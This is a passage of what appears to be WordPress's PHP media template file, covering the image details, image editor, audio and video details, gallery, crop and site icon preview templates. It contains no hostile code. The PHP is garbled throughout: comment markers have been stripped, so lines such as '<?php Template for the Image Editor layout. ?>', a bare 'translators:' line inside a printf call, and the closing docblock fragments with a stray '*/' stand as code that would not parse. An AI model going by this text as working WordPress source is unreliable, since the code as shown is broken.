'full' => __( 'Full Size' ),
)
);
foreach ( $sizes as $value => $name ) :
?>
<#
var size = data.sizes['<?php echo esc_js( $value ); ?>'];
if ( size ) { #>
<option value="<?php echo esc_attr( $value ); ?>">
<?php echo esc_html( $name ); ?> – {{ size.width }} × {{ size.height }}
</option>
<# } #>
<?php endforeach; ?>
<option value="<?php echo esc_attr( 'custom' ); ?>">
<?php _e( 'Custom Size' ); ?>
</option>
</select>
</span>
<# } #>
<div class="custom-size wp-clearfix<# if ( data.model.size !== 'custom' ) { #> hidden<# } #>">
<span class="custom-size-setting">
<label for="image-details-size-width"><?php _e( 'Width' ); ?></label>
<input type="number" id="image-details-size-width" aria-describedby="image-size-desc" data-setting="customWidth" step="1" value="{{ data.model.customWidth }}" />
</span>
<span class="sep" aria-hidden="true">×</span>
<span class="custom-size-setting">
<label for="image-details-size-height"><?php _e( 'Height' ); ?></label>
<input type="number" id="image-details-size-height" aria-describedby="image-size-desc" data-setting="customHeight" step="1" value="{{ data.model.customHeight }}" />
</span>
<p id="image-size-desc" class="description"><?php _e( 'Image size in pixels' ); ?></p>
</div>
<# } #>
<span class="setting link-to">
<label for="image-details-link-to" class="name"><?php _e( 'Link To' ); ?></label>
<select id="image-details-link-to" data-setting="link">
<# if ( data.attachment ) { #>
<option value="file">
<?php esc_html_e( 'Media File' ); ?>
</option>
<option value="post">
<?php esc_html_e( 'Attachment Page' ); ?>
</option>
<# } else { #>
<option value="file">
<?php esc_html_e( 'Image URL' ); ?>
</option>
<# } #>
<option value="custom">
<?php esc_html_e( 'Custom URL' ); ?>
</option>
<option value="none">
<?php echo esc_html_x( 'None', 'Media item link option' ); ?>
</option>
</select>
</span>
<span class="setting">
<label for="image-details-link-to-custom" class="name"><?php _e( 'URL' ); ?></label>
<input type="text" id="image-details-link-to-custom" class="link-to-custom" data-setting="linkUrl" />
</span>
<div class="advanced-section">
<h2><button type="button" class="button-link advanced-toggle"><?php _e( 'Advanced Options' ); ?></button></h2>
<div class="advanced-settings hidden">
<div class="advanced-image">
<span class="setting title-text">
<label for="image-details-title-attribute" class="name"><?php _e( 'Image Title Attribute' ); ?></label>
<input type="text" id="image-details-title-attribute" data-setting="title" value="{{ data.model.title }}" />
</span>
<span class="setting extra-classes">
<label for="image-details-css-class" class="name"><?php _e( 'Image CSS Class' ); ?></label>
<input type="text" id="image-details-css-class" data-setting="extraClasses" value="{{ data.model.extraClasses }}" />
</span>
</div>
<div class="advanced-link">
<span class="setting link-target">
<input type="checkbox" id="image-details-link-target" data-setting="linkTargetBlank" value="_blank" <# if ( data.model.linkTargetBlank ) { #>checked="checked"<# } #>>
<label for="image-details-link-target" class="checkbox-label"><?php _e( 'Open link in a new tab' ); ?></label>
</span>
<span class="setting link-rel">
<label for="image-details-link-rel" class="name"><?php _e( 'Link Rel' ); ?></label>
<input type="text" id="image-details-link-rel" data-setting="linkRel" value="{{ data.model.linkRel }}" />
</span>
<span class="setting link-class-name">
<label for="image-details-link-css-class" class="name"><?php _e( 'Link CSS Class' ); ?></label>
<input type="text" id="image-details-link-css-class" data-setting="linkClassName" value="{{ data.model.linkClassName }}" />
</span>
</div>
</div>
</div>
</div>
<div class="column-image">
<div class="image">
<img src="{{ data.model.url }}" draggable="false" alt="" />
<# if ( data.attachment && window.imageEdit ) { #>
<div class="actions">
<input type="button" class="edit-attachment button" value="<?php esc_attr_e( 'Edit Original' ); ?>" />
<input type="button" class="replace-attachment button" value="<?php esc_attr_e( 'Replace' ); ?>" />
</div>
<# } #>
</div>
</div>
</div>
</div>
</script>
<?php Template for the Image Editor layout. ?>
<script type="text/html" id="tmpl-image-editor">
<div id="media-head-{{ data.id }}"></div>
<div id="image-editor-{{ data.id }}"></div>
</script>
<?php Template for an embedded Audio details. ?>
<script type="text/html" id="tmpl-audio-details">
<# var ext, html5types = {
mp3: wp.media.view.settings.embedMimes.mp3,
ogg: wp.media.view.settings.embedMimes.ogg
}; #>
<?php $audio_types = wp_get_audio_extensions(); ?>
<div class="media-embed media-embed-details">
<div class="embed-media-settings embed-audio-settings">
<?php wp_underscore_audio_template(); ?>
<# if ( ! _.isEmpty( data.model.src ) ) {
ext = data.model.src.split('.').pop();
if ( html5types[ ext ] ) {
delete html5types[ ext ];
}
#>
<span class="setting">
<label for="audio-details-source" class="name"><?php _e( 'URL' ); ?></label>
<input type="text" id="audio-details-source" readonly data-setting="src" value="{{ data.model.src }}" />
<button type="button" class="button-link remove-setting"><?php _e( 'Remove audio source' ); ?></button>
</span>
<# } #>
<?php
foreach ( $audio_types as $type ) :
?>
<# if ( ! _.isEmpty( data.model.<?php echo $type; ?> ) ) {
if ( ! _.isUndefined( html5types.<?php echo $type; ?> ) ) {
delete html5types.<?php echo $type; ?>;
}
#>
<span class="setting">
<label for="audio-details-<?php echo $type . '-source'; ?>" class="name"><?php echo strtoupper( $type ); ?></label>
<input type="text" id="audio-details-<?php echo $type . '-source'; ?>" readonly data-setting="<?php echo $type; ?>" value="{{ data.model.<?php echo $type; ?> }}" />
<button type="button" class="button-link remove-setting"><?php _e( 'Remove audio source' ); ?></button>
</span>
<# } #>
<?php endforeach; ?>
<# if ( ! _.isEmpty( html5types ) ) { #>
<fieldset class="setting-group">
<legend class="name"><?php _e( 'Add alternate sources for maximum HTML5 playback' ); ?></legend>
<span class="setting">
<span class="button-large">
<# _.each( html5types, function (mime, type) { #>
<button class="button add-media-source" data-mime="{{ mime }}">{{ type }}</button>
<# } ) #>
</span>
</span>
</fieldset>
<# } #>
<fieldset class="setting-group">
<legend class="name"><?php _e( 'Preload' ); ?></legend>
<span class="setting preload">
<span class="button-group button-large" data-setting="preload">
<button class="button" value="auto"><?php _ex( 'Auto', 'auto preload' ); ?></button>
<button class="button" value="metadata"><?php _e( 'Metadata' ); ?></button>
<button class="button active" value="none"><?php _ex( 'None', 'Preload value' ); ?></button>
</span>
</span>
</fieldset>
<span class="setting-group">
<span class="setting checkbox-setting autoplay">
<input type="checkbox" id="audio-details-autoplay" data-setting="autoplay" />
<label for="audio-details-autoplay" class="checkbox-label"><?php _e( 'Autoplay' ); ?></label>
</span>
<span class="setting checkbox-setting">
<input type="checkbox" id="audio-details-loop" data-setting="loop" />
<label for="audio-details-loop" class="checkbox-label"><?php _e( 'Loop' ); ?></label>
</span>
</span>
</div>
</div>
</script>
<?php Template for an embedded Video details. ?>
<script type="text/html" id="tmpl-video-details">
<# var ext, html5types = {
mp4: wp.media.view.settings.embedMimes.mp4,
ogv: wp.media.view.settings.embedMimes.ogv,
webm: wp.media.view.settings.embedMimes.webm
}; #>
<?php $video_types = wp_get_video_extensions(); ?>
<div class="media-embed media-embed-details">
<div class="embed-media-settings embed-video-settings">
<div class="wp-video-holder">
<#
var w = ! data.model.width || data.model.width > 640 ? 640 : data.model.width,
h = ! data.model.height ? 360 : data.model.height;
if ( data.model.width && w !== data.model.width ) {
h = Math.ceil( ( h * w ) / data.model.width );
}
#>
<?php wp_underscore_video_template(); ?>
<# if ( ! _.isEmpty( data.model.src ) ) {
ext = data.model.src.split('.').pop();
if ( html5types[ ext ] ) {
delete html5types[ ext ];
}
#>
<span class="setting">
<label for="video-details-source" class="name"><?php _e( 'URL' ); ?></label>
<input type="text" id="video-details-source" readonly data-setting="src" value="{{ data.model.src }}" />
<button type="button" class="button-link remove-setting"><?php _e( 'Remove video source' ); ?></button>
</span>
<# } #>
<?php
foreach ( $video_types as $type ) :
?>
<# if ( ! _.isEmpty( data.model.<?php echo $type; ?> ) ) {
if ( ! _.isUndefined( html5types.<?php echo $type; ?> ) ) {
delete html5types.<?php echo $type; ?>;
}
#>
<span class="setting">
<label for="video-details-<?php echo $type . '-source'; ?>" class="name"><?php echo strtoupper( $type ); ?></label>
<input type="text" id="video-details-<?php echo $type . '-source'; ?>" readonly data-setting="<?php echo $type; ?>" value="{{ data.model.<?php echo $type; ?> }}" />
<button type="button" class="button-link remove-setting"><?php _e( 'Remove video source' ); ?></button>
</span>
<# } #>
<?php endforeach; ?>
</div>
<# if ( ! _.isEmpty( html5types ) ) { #>
<fieldset class="setting-group">
<legend class="name"><?php _e( 'Add alternate sources for maximum HTML5 playback' ); ?></legend>
<span class="setting">
<span class="button-large">
<# _.each( html5types, function (mime, type) { #>
<button class="button add-media-source" data-mime="{{ mime }}">{{ type }}</button>
<# } ) #>
</span>
</span>
</fieldset>
<# } #>
<# if ( ! _.isEmpty( data.model.poster ) ) { #>
<span class="setting">
<label for="video-details-poster-image" class="name"><?php _e( 'Poster Image' ); ?></label>
<input type="text" id="video-details-poster-image" readonly data-setting="poster" value="{{ data.model.poster }}" />
<button type="button" class="button-link remove-setting"><?php _e( 'Remove poster image' ); ?></button>
</span>
<# } #>
<fieldset class="setting-group">
<legend class="name"><?php _e( 'Preload' ); ?></legend>
<span class="setting preload">
<span class="button-group button-large" data-setting="preload">
<button class="button" value="auto"><?php _ex( 'Auto', 'auto preload' ); ?></button>
<button class="button" value="metadata"><?php _e( 'Metadata' ); ?></button>
<button class="button active" value="none"><?php _ex( 'None', 'Preload value' ); ?></button>
</span>
</span>
</fieldset>
<span class="setting-group">
<span class="setting checkbox-setting autoplay">
<input type="checkbox" id="video-details-autoplay" data-setting="autoplay" />
<label for="video-details-autoplay" class="checkbox-label"><?php _e( 'Autoplay' ); ?></label>
</span>
<span class="setting checkbox-setting">
<input type="checkbox" id="video-details-loop" data-setting="loop" />
<label for="video-details-loop" class="checkbox-label"><?php _e( 'Loop' ); ?></label>
</span>
</span>
<span class="setting" data-setting="content">
<#
var content = '';
if ( ! _.isEmpty( data.model.content ) ) {
var tracks = jQuery( data.model.content ).filter( 'track' );
_.each( tracks.toArray(), function( track, index ) {
content += track.outerHTML; #>
<label for="video-details-track-{{ index }}" class="name"><?php _e( 'Tracks (subtitles, captions, descriptions, chapters, or metadata)' ); ?></label>
<input class="content-track" type="text" id="video-details-track-{{ index }}" aria-describedby="video-details-track-desc-{{ index }}" value="{{ track.outerHTML }}" />
<span class="description" id="video-details-track-desc-{{ index }}">
<?php
printf(
translators: 1: "srclang" HTML attribute, 2: "label" HTML attribute, 3: "kind" HTML attribute.
__( 'The %1$s, %2$s, and %3$s values can be edited to set the video track language and kind.' ),
'srclang',
'label',
'kind'
);
?>
</span>
<button type="button" class="button-link remove-setting remove-track"><?php _ex( 'Remove video track', 'media' ); ?></button><br />
<# } ); #>
<# } else { #>
<span class="name"><?php _e( 'Tracks (subtitles, captions, descriptions, chapters, or metadata)' ); ?></span><br />
<em><?php _e( 'There are no associated subtitles.' ); ?></em>
<# } #>
<textarea class="hidden content-setting">{{ content }}</textarea>
</span>
</div>
</div>
</script>
<?php Template for a Gallery within the editor. ?>
<script type="text/html" id="tmpl-editor-gallery">
<# if ( data.attachments.length ) { #>
<div class="gallery gallery-columns-{{ data.columns }}">
<# _.each( data.attachments, function( attachment, index ) { #>
<dl class="gallery-item">
<dt class="gallery-icon">
<# if ( attachment.thumbnail ) { #>
<img src="{{ attachment.thumbnail.url }}" width="{{ attachment.thumbnail.width }}" height="{{ attachment.thumbnail.height }}" alt="{{ attachment.alt }}" />
<# } else { #>
<img src="{{ attachment.url }}" alt="{{ attachment.alt }}" />
<# } #>
</dt>
<# if ( attachment.caption ) { #>
<dd class="wp-caption-text gallery-caption">
{{{ data.verifyHTML( attachment.caption ) }}}
</dd>
<# } #>
</dl>
<# if ( index % data.columns === data.columns - 1 ) { #>
<br style="clear: both;" />
<# } #>
<# } ); #>
</div>
<# } else { #>
<div class="wpview-error">
<div class="dashicons dashicons-format-gallery"></div><p><?php _e( 'No items found.' ); ?></p>
</div>
<# } #>
</script>
<?php Template for the Crop area layout, used for example in the Customizer. ?>
<script type="text/html" id="tmpl-crop-content">
<img class="crop-image" src="{{ data.url }}" alt="<?php esc_attr_e( 'Image crop area preview. Requires mouse interaction.' ); ?>" />
<div class="upload-errors"></div>
</script>
<?php Template for the Site Icon preview, used for example in the Customizer. ?>
<script type="text/html" id="tmpl-site-icon-preview">
<h2><?php _e( 'Preview' ); ?></h2>
<strong aria-hidden="true"><?php _e( 'As a browser icon' ); ?></strong>
<div class="favicon-preview">
<img src="<?php echo esc_url( admin_url( 'images/' . ( is_rtl() ? 'browser-rtl.png' : 'browser.png' ) ) ); ?>" class="browser-preview" width="182" height="" alt="" />
<div class="favicon">
<img id="preview-favicon" src="{{ data.url }}" alt="<?php esc_attr_e( 'Preview as a browser icon' ); ?>" />
</div>
<span class="browser-title" aria-hidden="true"><# print( '<?php echo esc_js( get_bloginfo( 'name' ) ); ?>' ) #></span>
</div>
<strong aria-hidden="true"><?php _e( 'As an app icon' ); ?></strong>
<div class="app-icon-preview">
<img id="preview-app-icon" src="{{ data.url }}" alt="<?php esc_attr_e( 'Preview as an app icon' ); ?>" />
</div>
</script>
<?php
*
* Fires when the custom Backbone media templates are printed.
*
* @since 3.5.0
do_action( 'print_media_templates' );
}
*/